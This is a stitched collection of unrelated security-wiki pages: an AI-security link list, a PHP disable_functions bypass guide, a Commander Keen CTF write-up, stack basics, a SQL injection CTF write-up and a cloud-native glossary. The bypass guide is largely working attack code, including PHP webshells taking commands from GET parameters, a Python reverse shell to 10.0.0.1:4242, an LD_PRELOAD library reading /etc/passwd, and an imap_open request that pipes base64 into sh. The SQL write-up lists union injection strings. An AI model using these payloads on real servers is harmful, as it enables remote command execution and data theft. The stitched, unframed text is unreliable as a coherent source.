#### 攻击AI数据/模型
- [安全领域中机器学习的对抗和博弈](http://bindog.github.io/blog/2016/11/13/game-playing-with-ml-in-security/)
- [基础攻防场景下的AI对抗样本初探](https://www.cdxy.me/?p=798)
- [使用生成对抗网络(GAN)生成DGA](http://webber.tech/posts/%E4%BD%BF%E7%94%A8%E7%94%9F%E6%88%90%E5%AF%B9%E6%8A%97%E7%BD%91%E7%BB%9C%28GAN%29%E7%94%9F%E6%88%90DGA/)
- [详解如何使用Keras实现Wassertein GAN](https://mp.weixin.qq.com/s/F2gBP23LCEF72QDlugbBZQ)
- [Is attacking machine learning easier than defending it?](http://www.cleverhans.io/security/privacy/ml/2017/02/15/why-attacking-machine-learning-is-easier-than-defending-it.html)
- [对深度学习的逃逸攻击 ——探究人工智能系统中的安全盲区](https://www.anquanke.com/post/id/87037)
- [NLP机器学习模型安全性及实践](https://bbs.pediy.com/thread-230125.htm)
- [机器学习对抗性攻击报告](https://mp.weixin.qq.com/s/QKXd9AKkVwk3CO45-BbZSA?)
- [从安全视角对机器学习的部分思考](https://mp.weixin.qq.com/s/kP4YuiksI1dfZdT8Z_j_cQ)
- [污染TensorFlow模型: XCTF 2019 Final tfboys命题思路](https://www.cdxy.me/?p=813)
- [中科院信工所发布《深度学习系统的隐私与安全》综述论文,187篇文献总结](https://mp.weixin.qq.com/s/B0FTTAppy_AUt6SXVFL-Pg)
- [Towards Privacy and Security of Deep Learning Systems: A Survey](https://arxiv.org/pdf/1911.12562v1.pdf)
#### 攻击AI系统
- [门神WAF众测总结](https://mp.weixin.qq.com/s/w5TwFl4Ac1jCTX0A1H_VbQ)
## References
\[1] AI-for-Security-Learning, [404notf0und](https://github.com/404notf0und)/
|
sec-knowleage
|
# bypass_disable_function
---
**相关文章 & Source & Reference**
- [CTF中的命令执行绕过](https://mp.weixin.qq.com/s/fs-IKJuDptJeZMRDCtbdkw)
- [无需sendmail:巧用LD_PRELOAD突破disable_functions](https://www.freebuf.com/articles/web/192052.html)
- [php中函数禁用绕过的原理与利用](https://mp.weixin.qq.com/s/_L379eq0kufu3CCHN1DdkA)
**相关工具**
- [Medicean/as_bypass_php_disable_functions](https://github.com/Medicean/as_bypass_php_disable_functions)
- [yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD](https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD)
**相关靶场**
- [AntSwordProject/AntSword-Labs](https://github.com/AntSwordProject/AntSword-Labs)
---
**disable_function**
这个东西很明显就是什么呢,你能够代码执行了,但怎么都执行不了系统命令
实际上是开发者在后端的 php.ini 里写了如下语句
```ini
disable_functions = system,exec,shell_exec,passthru,proc_open,proc_close, proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport, syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept, socket_connect, stream_socket_server, stream_socket_accept,stream_socket_client,ftp_connect, ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space, disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd, posix_getegid,posix_geteuid,posix_getgid, posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid, posix_getppid,posix_getpwnam,posix_getpwuid, posix_getrlimit, posix_getsid,posix_getuid,posix_isatty, posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid, posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname
```
## 常规绕过
理解为查看 `PHPinfo` 看看哪些没有被写进 `ini` 配置文件, 绕过限制。
1. exec
```php
<?php echo exec('whoami');?>
```
2. shell_exec
```php
<?php echo shell_exec('whoami');?>
<?php echo `whoami`; ?>
```
3. system
```php
<?php system('whoami');?>
```
4. $command
```php
<?php
$command=$_GET['command'];
$ret=`$command`;
echo $ret;
?>
```
5. passthru
```php
<?php
$command=$_GET['command'];
passthru($command);
?>
```
6. popen
```php
<?php
$command=$_GET['command'];
$fd = popen($command, 'r');
while($s=fgets($fd)){
print_r($s);
}
?>
```
7. proc_open
```php
<?php
$command=$_GET['command'];
$descriptorspec=array(
0=>array('pipe','r'),
1=>array('pipe','w'),
2=>array('pipe','w')
);
$handle=proc_open($command,$descriptorspec,$pipes,NULL);
if(!is_resource($handle)){
die('proc_open failed');
}
while($s=fgets($pipes[1])){
print_r($s);
}
while($s=fgets($pipes[2])){
print_r($s);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($handle);
?>
```
---
## pcntl_exec
目标机器若存在 python,可用 php 执行 python 反弹 shell
```php
<?php
pcntl_exec("/usr/bin/python",array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'));
?>
```
---
## 利用系统组件绕过 (win)
利用条件
- `windows环境`
- `com组件`(PHP5.4自带)(高版本扩展要自己添加)
- `extension=php_com_dotnet.dll`
测试:
```php
<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
```
`?a=command`
---
## ld_preload
LD_PRELOAD 是 Linux 系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
bypass 的关键就是利用 LD_PRELOAD 加载库优先的特点来让我们自己编写的动态链接库优先于正常的函数库,以此达成执行 system 命令。
使用条件
- Linux 操作系统
- `putenv()`
- `mail` or `error_log`
- 存在可写的目录, 需要上传 .so 文件
当 disable_functions 禁用了命令执行函数,如`shell_exec`,`system`等等。webshell 无法执行系统命令时,可以通过环境变量 LD_PRELOAD 劫持系统函数。
```c
touch test.c
vim test.c
#include <unistd.h>
#include <sys/types.h>
uid_t geteuid(void){
system("cat /etc/passwd");
}
```
生成动态链接库
```
gcc --share -fPIC test.c -o test.so
```
`LD_PRELOAD=./test.so id`
也可以传入如下 php 文件
```php
<?php
putenv("LD_PRELOAD=./test.so");
mail('','','','');
?>
```
访问 php 文件就可以运行刚才的命令了
如果 `mail()` 函数无法使用,也可以使用 `error_log('',1)` 或者 `mb_send_mail('','','')` 和 `imap_mail("1@a.com","0","1","2","3")`(如果 PHP 开启了 imap 模块)
**蚁剑靶场测试**
```
git clone https://github.com/AntSwordProject/AntSword-Labs.git
cd AntSword-Labs/bypass_disable_functions/1
docker-compose up -d
```
连接 http://127.0.0.1:18080/index.php ant
使用「绕过 disable_functions」插件, 选择 LD_PRELOAD 模式进行
成功后可以看到目录下新建了一个 .antproxy.php 文件。我们创建副本, 并将连接的 URL shell 脚本名字改为 .antproxy.php, 就可以成功执行命令。
---
## 利用 FFI 扩展绕过
`PHP7.4` 的一个新特性 `FFI(Foreign Function Interface)`
当 PHP 所有的命令执行函数被禁用后,通过 PHP 7.4 的新特性 FFI 可以实现用 PHP 代码调用 C 代码的方式,先声明 C 中的命令执行函数,然后再通过 FFI 变量调用该 C 函数即可 `Bypass disable_functions`。
**使用条件**
- Linux 操作系统
- PHP >= 7.4
- 开启了 FFI 扩展且 `ffi.enable=true`
```ini
[ffi]
; FFI API restriction. Possible values:
; "preload" - enabled in CLI scripts and preloaded files (default)
; "false" - always disabled
; "true" - always enabled
ffi.enable=true
; List of headers files to preload, wildcard patterns allowed.
;ffi.preload=
```
使用 `docker` 部署服务:
```bash
apt-get install libffi-dev
docker-php-ext-install ffi
```
重启服务,上传 Payload 网页
```php
<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami > /tmp/123");
echo file_get_contents("/tmp/123");
@unlink("/tmp/123");
?>
```
**蚁剑靶场测试**
```
git clone https://github.com/AntSwordProject/AntSword-Labs.git
cd AntSword-Labs/bypass_disable_functions/8
docker-compose up -d
```
连接 http://127.0.0.1:18080/index.php ant
使用「绕过 disable_functions」插件, 选择 PHP74_FFI 模式进行
---
## Apache Mod CGI 绕过
**CGI**
`CGI`简单说就是:
放在服务器上的可执行程序, CGI 编程没有特定的语言, C 语言, linux shell,perl,vb 等等都可以进行 CGI 编程. 使用 linux shell 脚本编写的 cgi 程序便可以执行系统命令.
**使用条件**
- Linux 操作系统
- Apache + PHP (apache 使用 apache_mod_php)
- Apache 开启了 `cgi`, `rewrite`
- Web 目录给了 `AllowOverride` 权限
- 当前目录可写
**MOD_CGI**
任何具有 MIME 类型 application/x-httpd-cgi 或者被 cgi-script 处理器处理的文件都将被作为 CGI 脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为 CGI 脚本,一种是文件具有已由 AddType 指令定义的扩展名,另一种是文件位于 ScriptAlias 目录中.
在 apache 主配置文件中做如下设置
```conf
<Directory 路径>
Options +ExecCGI
</Directory>
```
例如:
```conf
<Directory /var/www/html/>
Options +ExecCGI #这便是允许cgi程序执行
</Directory>
```
**绕过disable_functions**
利用 mod_cgi 来绕过 disable_functions 思路也很清楚了. 利用 htaccess 覆盖 apache 配置,增加 cgi 程序达成执行系统命令,事实上同上传 htaccess 解析 png 文件为 php 程序的利用方式大同小异。
在本地准备好 `htaccess` 文件和要执行命令的 `cgi 文件 `, 如下
test.xxx:
```
#!/bin/bash
echo&whoami
```
.htaccess:
```
Options +ExecCGI
AddHandler cgi-script .xxx
```
将两个文件上传至服务器,使用 php 的 chmod 函数给 test.xxx 添加可执行权限。
`chmod('test.xxx',0777)`
访问目标 `xxx` 文件即可执行命令
**蚁剑靶场测试**
```
git clone https://github.com/AntSwordProject/AntSword-Labs.git
cd AntSword-Labs/bypass_disable_functions/3
docker-compose up -d
```
连接 http://127.0.0.1:18080/index.php ant
---
## 利用 ShellShock (CVE-2014-6271)
使用条件
* Linux 操作系统
* putenv
* mail or error_log 本例中禁用了 mail 但未禁用 error_log
* /bin/bash 存在 CVE-2014-6271 漏洞
* /bin/sh -> /bin/bash sh 默认的 shell 是 bash
目前的 bash 脚本是以通过导出环境变量的方式支持自定义函数,也可将自定义的 bash 函数传递给子相关进程。一般函数体内的代码是不会被执行,但此漏洞会错误的将 “{}” 花括号外的命令进行执行。
因为是设置环境变量,而在 php 中存在着 putenv 可以设置环境变量,配合开启子进程来让其执行命令。
- https://www.exploit-db.com/exploits/35146
---
## 利用 iconv 扩展执行命令
**使用条件**
* Linux 操作系统
* putenv
* iconv
* 存在可写的目录, 需要上传 .so 文件
**蚁剑靶场测试**
```
git clone https://github.com/AntSwordProject/AntSword-Labs.git
cd AntSword-Labs/bypass_disable_functions/9
docker-compose up -d
```
连接 http://127.0.0.1:18080/index.php ant
使用「绕过 disable_functions」插件, 选择 iconv 模式进行
成功后可以看到 /var/www/html/ 目录下新建了一个 .antproxy.php 文件。我们创建副本, 并将连接的 URL shell 脚本名字改为 .antproxy.php, 就可以成功执行命令。
---
## 利用 ImageMagick 绕过
漏洞源于 CVE-2016-3714,ImageMagick 是一款图片处理程序,但当用户传入一张恶意图片时,会造成命令注入,其中还有其他如 ssrf、文件读取等。
- https://github.com/ImageTragick/PoCs
上传恶意的图片,然后上传以一个poc
```php
<?php
new Imagick('poc.jpg');
```
访问即可看到我们写入的文件。
---
## 利用 PHP-FPM 绕过
PHP-FPM(FastCGI Process Manager:FastCGI 进程管理器) 是一个 PHPFastCGI 管理器,对于 PHP 5.3.3 之前的 php 来说,是一个补丁包 ,旨在将 FastCGI 进程管理整合进 PHP 包中。如果你使用的是 PHP5.3.3 之前的 PHP 的话,就必须将它 patch 到你的 PHP 源代码中,在编译安装 PHP 后才可以使用。
Fastcgi 是一种通讯协议,用于Web服务器与后端语言的数据交换。
以攻击 tcp 为例,倘若我们伪造 nginx 发送数据(fastcgi 封装的数据)给 php-fpm,这样就会造成任意代码执行漏洞。
可以配合 gopher 协议来攻击内网的 fpm
---
## 利用 imap_open 绕过(CVE-2018-19518)
imap 扩展用于在 PHP 中执行邮件收发操作,而 imap_open 是一个 imap 扩展的函数,在使用时通常以如下形式:
```php
$imap = imap_open('{'.$_POST['server'].':993/imap/ssl}INBOX', $_POST['login'], $_POST['password']);
```
那么该函数在调用时会调用 rsh 来连接远程 shell,而在 debian/ubuntu 中默认使用 ssh 来代替 rsh 的功能,也即是说在这俩系统中调用的实际上是 ssh,而 ssh 中可以通过 -oProxyCommand= 来调用命令,该选项可以使得我们在连接服务器之前先执行命令,并且需要注意到的是此时并不是 php 解释器在执行该系统命令,其以一个独立的进程去执行了该命令,因此我们也就成功的 bypass disable function 了。
```
POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222
```
其中使用了%09来绕过空格,以base64的形式来执行我们的命令
---
## UAF
- [mm0r1/exploits](https://github.com/mm0r1/exploits)
### Json Serializer UAF
漏洞利用 json 在序列化中的堆溢出触发 bypass
**使用条件**
* Linux 操作系统
* PHP 版本
* 7.1 - all versions to date
* 7.2 < 7.2.19 (released: 30 May 2019)
* 7.3 < 7.3.6 (released: 30 May 2019)
**蚁剑靶场测试**
```
git clone https://github.com/AntSwordProject/AntSword-Labs.git
cd AntSword-Labs/bypass_disable_functions/6
docker-compose up -d
```
连接 http://127.0.0.1:18080/index.php ant
使用「绕过 disable_functions」插件, 选择 Json Serializer UAF 模式进行
UAF 一次可能不成功,需要多次尝试
---
### PHP7 GC with Certain Destructors UAF
漏洞利用的是 php garbage collector(垃圾收集器)程序中的堆溢出达成 bypass
使用条件
* Linux 操作系统
* PHP 版本
* 7.0 - all versions to date
* 7.1 - all versions to date
* 7.2 - all versions to date
* 7.3 - all versions to date
UAF 一次可能不成功,需要多次尝试
---
### Backtrace UAF
漏洞利用的是 debug_backtrace 这个函数,可以利用该函数的漏洞返回已经销毁的变量的引用达成堆溢出
使用条件
* Linux 操作系统
* PHP 版本
* 7.0 - all versions to date
* 7.1 - all versions to date
* 7.2 - all versions to date
* 7.3 < 7.3.15 (released 20 Feb 2020)
* 7.4 < 7.4.3 (released 20 Feb 2020)
---
### SplDoublyLinkedList UAF
删除元素的操作被放在了置空 traverse_pointer 指针前。
所以在删除一个对象时,我们可以在其构析函数中通过 current 访问到这个对象,也可以通过 next 访问到下一个元素。如果此时下一个元素已经被删除,就会导致 UAF。
|
sec-knowleage
|
# Command Keen
Category: Programming, 100 Points
## Description
>```
> ________________
> .' \ \ \ \ `.
> / \ \ \ \ '.
> /\ | | | | \
> | \ | | | | \
> | / _|__|____|__|__ \
> | / / \ |
> |/ | <(=)> <(=)> ' |
> | | _| | |
> | (|) | /\ | |
> ' ' | \____ / ]
> ' '\ \_____/ .| '
> '__,' \_________.' |_/
> |____________\ ,.
> ,. /\ \
> .` || \
> .` ----\ \
> / <== |, \
> / <== | \_\
> ' ---/ |
> `._ /| \____/
> / `-,./ | '
> / / | |
> (______`'._|_________________| By Geoff Sims © 1998
> ```
>
> Welcome to the land of CSA!
>
> In this challenge you'll help our CSA hero KEEN to find the lost secret :)
> Your first mission is to find the secret sentence - spread in the game levels.
> To complete the mission you'll use the attached game code,
> and game recordings that would guide you to the secret sentence.
>
> Each recording file stores information of KEEN's movements in the game,
> according to the following format:
>
> 2Bytes - movement counter
>
> 2Bytes - 2 buttons click - for throwing/jumping as in the game controller settings
>
> 2Bytes - x direction of movement
>
> 2Bytes - y direction of movement
>
> .
> .
>
> In order to find out what is the secret sentence you should be able to play
> the recordings in the game BY THEIR ORDER, BUT! only once you are DONE with ALL the game levels.
>
> IMPORTANT 1: each recording you should play from the start of the game.
>
> IMPORTANT 2: submit the flag with the following format CSA{...}.
>
> HINT: use the "hint"s in the code.
>
> GOOD LUCK!
A zip file was attached.
## Solution
Let's take a look at the zip file contents:
```console
root@kali:/media/sf_CTFs/checkpoint/Command_Keen/command-keen# ls
README.txt Recordings Source
root@kali:/media/sf_CTFs/checkpoint/Command_Keen/command-keen# ls Recordings/
10.BIN 11.BIN 12.BIN 13.BIN 14.BIN 15.BIN 16.BIN 1.BIN 2.BIN 3.BIN 4.BIN 5.BIN 6.BIN 7.BIN 8.BIN 9.BIN
root@kali:/media/sf_CTFs/checkpoint/Command_Keen/command-keen# ls Source/
audiokdr.h id_asm.equ id_in.h id_rf.h id_us.h id_vw.c kd_act2.c kd_play.c lzhuff.h soft.h
gelib.c id_ca.c id_mm.c id_sd.c id_us_s.c id_vw.h kd_def.h kdreams.prj lzw.h static
gelib.h id_ca.h id_mm.h id_sd.h id_vw_a.asm jam_io.c kd_demo.c LICENSE README.md
graphkdr.equ id_heads.h id_rf_a.asm id_us_a.asm id_vw_ac.asm jam_io.h kd_keen.c lscr sl_file.h
graphkdr.h id_in.c id_rf.c id_us.c id_vw_ae.asm kd_act1.c kd_main.c lzhuf.c soft.c
root@kali:/media/sf_CTFs/checkpoint/Command_Keen/command-keen# cat Source/README.md | head
# Commander Keen in Keen Dreams
This repository contains the source for Commander Keen in Keen Dreams. It is released under the GNU GPLv2+. See LICENSE for more details.
The release of the source code does not affect the licensing of the game data files, which you must still legally acquire. This includes the static data included in this repository for your convenience. However, you are permitted to link and distribute that data for the purposes of compatibility with the original game.
This release was made possible by a crowdfunding effort. It is brought to you by Javier M. Chavez and Chuck Naaden with additional support from:
* Dave Allen
* Kirill Illenseer
```
It looks like an Open Source release of the 90s computer game "[Commander Keen in Keen Dreams](https://en.wikipedia.org/wiki/Commander_Keen_in_Keen_Dreams)", just like the [previous challenge](Stateful_Keen.md).
We can use this information to find the [original release](https://github.com/keendreams/keen) and diff it against the copy we received.
We find the following significant differences:
```console
root@kali:/media/sf_CTFs/checkpoint/Command_Keen/command-keen# diff Source/kd_play.c ../../Stateful_Keen/keen-master/kd_play.c --side-by-side --suppress-common-lines
"The Land of CSA", | "The Land of Tuberia",
"CSA HINT: I", | "Horseradish Hill",
"CSA HINT: o", | "The Melon Mines",
"CSA HINT: A", | "Bridge Bottoms",
"CSA HINT: 8", | "Rhubarb Rapids",
"CSA HINT: e", | "Parsnip Pass",
"CSA HINT: 7", | "Spud City",
"CSA HINT: h", | "Apple Acres",
"CSA HINT: R", | "Grape Grove",
"CSA HINT: c", | "Brussels Sprout Bay",
"CSA HINT: !", | "Squash Swamp",
"CSA HINT: L", | "Boobus' Chamber",
"CSA HINT: _", | "Castle Tuberia",
root@kali:/media/sf_CTFs/checkpoint/Command_Keen/command-keen# diff Source/kd_demo.c ../../Stateful_Keen/keen-master/kd_demo.c --side-by-side --suppress-common-lines
US_CenterWindow (40,3); | US_CenterWindow (16,3);
US_PrintCentered("Game Over! No flag for you!"); | US_PrintCentered("Game Over!");
US_CenterWindow(40,7); | US_CenterWindow(22,7);
US_CPrint("Status Window - the flag isn't here ( | US_CPrint("Status Window");
```
The hints are replacing level names and seem interesting. We actually saw these changes in the previous challenge too, but didn't use them.
We can compile the game according to the instructions on the Github repository (but even after compiling, it looks like we need to "borrow" some missing files from a real copy in order to successfully run the game).
When we enter the game, we see:

We then arrive to the level map, from which we are able to visit the different levels. If we enter the first level, for example, we see the appropriate hint instead of the level name:

All level names have been changes, as can be seen in the code.
Now, we are supposed to play the recordings, so let's take a look at them.
We have 16 recordings, let's take a look at one for example:
```console
root@kali:/media/sf_CTFs/checkpoint/Command_Keen/command-keen/Recordings# xxd -g 2 -c 8 -e 1.BIN | head
00000000: 0005 0000 0000 0000 ........
00000008: 0002 0000 ff81 0000 ........
00000010: 0010 0000 ff81 ff81 ........
00000018: 0003 0000 ff81 0000 ........
00000020: 0001 0000 0000 0000 ........
00000028: 0004 0000 007f 007f ........
00000030: 0002 0000 0000 007f ........
00000038: 0002 0000 ff81 0000 ........
00000040: 0001 0000 ff81 007f ........
00000048: 0003 0000 007f 007f ........
```
The interpretation, according to the description, is:
```c
typdef struct
{
uint16_t movement_counter;
uint16_t click;
uint16_t x_direction;
uint16_t y_direction;
} KeenMovement;
```
The `movement_counter` looks like the number of times we should perform the movement.
The `click` value is zeroed out throughout all of the files so we can ignore it.
We just need to understand how to interpret the `x_direction` and `y_direction` values.
We see the following values throughout the files:
* `0x0`
* `ff81`
* `007f`
We'll make a wild guess that `0x0` means "no movement in this axis". `0x7f` is `127` and `0xff81` is the 2's complement representation of `-127`, so we'll just guess that the same rules of the X-Y axis apply. This means that `(127, 127)` is `up-right`, and `(-127, 0)` is just left.
Now we have a choice. Our first option is to run the game and move Keen inside the game according to the given movements. This has two major downsides: First, some levels are only accessible after finishing other levels first, so in order to have Keen move freely we will have to complete all levels first (probably with cheats though...). And second: Moving Keen takes time, and we'll have to wait this time for each recording.
Our second option is to draw Keen's movements on a map. It is much faster and we won't need to complete any levels. Let's just hope that the recordings don't include Keen hitting obstacles by purpose since then we will have to make our map obstacle-aware.
There is a third option - guessing the flag from the letters (we already know the flag length is 16). This actually worked during the CTF! Take a minute and try it yourself, especially if you are familiar with Keen's background story. This is a writeup so in this case we'll go for the second option though, since it's easier than the first one.
We find a map [here](https://www.commander-keen.com/level-maps-7.php). We can draw the hint letters on each of the levels (we can figure out where each letter goes by researching the original level names) and get:

Now we write a short script to draw the route on the map:
```python
from struct import Struct
from PIL import Image, ImageDraw, ImageColor
from collections import namedtuple
import itertools, os
import glob
Coordinate = namedtuple("Coordinate", "x y")
def read_records(format, f):
record_struct = Struct(format)
chunks = iter(lambda: f.read(record_struct.size), b'')
return (record_struct.unpack(chunk) for chunk in chunks)
def pairwise(iterable):
"s -> (s0,s1), (s1,s2), (s2, s3), ..."
a, b = itertools.tee(iterable)
next(b, None)
return zip(a, b)
DISTANCE_CONST = 0.92
START_COORDINATE = Coordinate(360, 305)
def translate_movement(v):
if v == -127:
return -1
elif v == 127:
return 1
else:
return 0
def draw(movement_file, output_folder = None):
coordinates = []
with open (movement_file, "rb") as f:
coord = START_COORDINATE
coordinates.append(coord)
for rec in read_records('<hhhh', f):
movement_counter, click, x, y = rec
assert(click == 0)
for _ in range(movement_counter):
coordinates.append(Coordinate(coord.x + DISTANCE_CONST * translate_movement(x), coord.y + DISTANCE_CONST * translate_movement(y)))
coord = coordinates[-1]
im = Image.open('small_map.png')
draw = ImageDraw.Draw(im)
for current, next in pairwise(coordinates):
draw.line( ( current, next ), fill = "red", width = 4)
if output_folder is None:
im.show()
else:
output_file_path = "{}.png".format(os.path.splitext(os.path.basename(movement_file))[0])
im.save(os.path.join(output_folder, output_file_path))
if __name__ == "__main__":
output_file_dir = "out"
os.makedirs(output_file_dir, exist_ok = True)
for recording in glob.glob("command-keen/Recordings/*.bin"):
draw(recording, output_file_dir)
```
We run it and get:
















The flag: `CSA{I_hA7e_8RoccoLI!}`
|
sec-knowleage
|
### 基本栈介绍
栈是一种典型的后进先出( Last in First Out )的数据结构,其操作主要有压栈(push)与出栈(pop)两种操作,如下图所示(维基百科)。两种操作都操作栈顶,当然,它也有栈底。
高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。此外,常见的操作也是压栈与出栈。需要注意的是,**程序的栈是从进程地址空间的高地址向低地址增长的**。
### 函数调用栈介绍
请务必仔细看一下下面的文章来学习一下基本的函数调用栈。
- [C语言函数调用栈(一)](http://www.cnblogs.com/clover-toeic/p/3755401.html)
- [C语言函数调用栈(二)](http://www.cnblogs.com/clover-toeic/p/3756668.html)
需要注意的是,32 位和 64 位程序有以下简单的区别
- **x86**
- **函数参数**在**函数返回地址**的上方
- **x64**
- System V AMD64 ABI (Linux、FreeBSD、macOS 等采用)中前六个整型或指针参数依次保存在**RDI, RSI, RDX, RCX, R8 和 R9 寄存器**中,如果还有更多的参数的话才会保存在栈上。
- 内存地址不能大于 0x00007FFFFFFFFFFF,**6 个字节长度**,否则会抛出异常。
|
sec-knowleage
|
# Super duper advanced attack (web 100)
###ENG
[PL](#pl-version)
In this task we get access to a web page with some table displayed.
There is also input box and `search` button.
With this we can search through the contents of the table.
Very quickly we notice `SQLInjection` in where condition.
The query is something like:
```sql
select x,y from z where y like '%input%'
```
So we can easily send as input: `fer%' union select 1,2 #` to get `1,2` as result row.
From here we check what database this is - MySQL.
There is `information_schema` table in mysql so we proceed with listing all tables:
`fer%' union SELECT table_name, table_schema FROM information_schema.tables #`
and columns:
`fer%' union SELECT COLUMN_NAME, table_name FROM INFORMATION_SCHEMA.COLUMNS #`
There was only a single normal table - `users` and it contained some md5 hashed passwords, but no flag.
We spent long time checking everything in the DB (triggers, indexes, constraints, procedures...), we tried also to load external files, but to no avail.
In the end we decided it's time to `hack` our way through this task and check how other teams are trying to work this out.
This was possible since we had access to `INFORMATION_SCHEMA.PROCESSLIST` table.
This table can list all operations that DB is performing at the moment.
So sending:
`fer%' union SELECT state,info FROM INFORMATION_SCHEMA.PROCESSLIST #`
Would print queries and operations that were currently performed.
We've seen some boring queries from sqlmap or some other scanner but then, not so long after we got a hit - there was information that database was sending `@flag` session variable to someone.
So we knew what has to be done - we just need to do `select @flag` to get: `EKO{do_not_forget_session_variables}`.
This was a badly designed task - the hardest part was "guessing" where can the flag be, not exploiting the application.
###PL version
W zadaniu dostajemy adres strony internetowej wyświetlającej tabelkę z danymi.
Jest tam też input box i `search` button.
Za ich pomocą możemy wyszukać dane z tabelki.
Dość szybko zauważamy, że formularz jest podatny na `SQLInjection` w warunku where.
Zapytanie wyglądało mniej więcej tak:
```sql
select x,y from z where y like '%input%'
```
Możemy więc wysłać jako input: `fer%' union select 1,2 #` aby dostać `1,2` jako jeden z wierszy wyniku.
Następnie sprawdziliśmy z jaką bazą mamy do czynienia - MySQL.
W tej bazie mamy tabelę `information_schema` więc korzystamy z niej żeby wylistować wszystkie tabele:
`fer%' union SELECT table_name, table_schema FROM information_schema.tables #`
I kolumny:
`fer%' union SELECT COLUMN_NAME, table_name FROM INFORMATION_SCHEMA.COLUMNS #`
Była tam tylko jedna zwykła tabela - `users` i zawierała kilka hasełm hashowanych md5, ale nie flagę.
Spędziliśmy sporo czasu sprawdzając wszystko w bazie (triggery, indeksy, ograniczenia, procedury...), próbowaliśmy także ładować pliki z dysku, ale wszystko to na nic.
Finalnie zdecydowaliśmy, że czas `shackować` to zadanie i sprawdzić jak inne drużyny podchodzą do tego zadania.
Było to możliwe, ponieważ mieliśmy dostęp do tabeli `INFORMATION_SCHEMA.PROCESSLIST`.
Ta tabela może listować wszystkie operacje które w danej chwili wykonuje baza.
Więc wysłanie:
`fer%' union SELECT state,info FROM INFORMATION_SCHEMA.PROCESSLIST #`
Wypisuje zapytania i operacje które są wykonywane.
Widzieliśmy trochę nudnych zapytań ewidentnie z sqlmapa albo innego skanera, aż w końcu po krótkim czasie pojawia się informacja, że baza wysłała komuś zmienną sesyjną `@flag`.
Teraz było już oczywiste, że należy wykonać `select @flag` aby dostać: `EKO{do_not_forget_session_variables}`
To jest przykład źle zaprojektowanego zadania gdzie najtrudniejszym elementem jest "zgadnięcie" gdzie autor schował flagę, a nie samo exploitowanie podatności.
|
sec-knowleage
|
---
title: 云原生
---
<center><h1>云原生</h1></center>
---
## 0x01 一些名词介绍
### 容器
Docker 是一个开放源代码软件,是一个开放平台,用于开发应用、交付(shipping)应用、运行应用。Docker允许用户将基础设施(Infrastructure)中的应用单独分割出来,形成更小的颗粒(容器),从而提高交付软件的速度。
Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。
下图是 Docker 官方给出的架构图,里面包括了 Docker 客户端、Docker 容器所在的宿主机和 Docker 镜像仓库三个部分。
其中宿主机包括了 Docker 守护进程、本地容器和本地镜像,Docker 守护进程(dockerd)的作用是侦听 Docker API 请求和管理 Docker 对象。
<img width="700" src="/img/1649947060.png">
### 容器编排
容器编排(Container Orchestration)是指自动化容器的部署、管理、扩展和联网,容器编排可以为需要部署和管理成百上千个 Linux 容器和主机的企业提供便利。
常见的容器编排工具方案有 Kubernetes、Docker Swarm 和 Apache Mesos 等。
以下是 Sysdig 在 2021 年给出的容器编排工具流行度图表,可以看到 Kubernetes 可谓是一骑绝尘。
<img width="800" src="/img/1649948485.png">
图片来源:https://dig.sysdig.com/c/pf-2021-container-security-and-usage-report?x=u_WFRi&utm_source=gated-organic&utm_medium=website
### 无服务
无服务(Serverless)是一种云原生开发模型,可使开发人员专注构建和运行应用,这并不是说没有服务器,而是说开发者不用去管服务器只负责开发就行。
无服务计算产品通常被分为两类,分别是后端即服务(BaaS)和函数即服务(FaaS),其中 FaaS 是 Serverless 的主要实现方式,FaaS 的相关产品主要有 AWS 的 Lambda、Azure 的 Functions Serverless Compute、GCP 的 Firebase Cloud Functions、阿里云的 Function Compute 等。
### 微服务
微服务(Microservices)是一种软件架构风格,它是以专注于单一责任与功能的小型功能区块为基础,利用模块化的方式组合出复杂的大型应用程序,各功能区块使用与语言无关的API集相互通信。
这个是 Wiki 上给出的定义,如果具体的想了解微服务是什么可以看知乎上的这个帖子:https://www.zhihu.com/question/65502802
### 服务网格
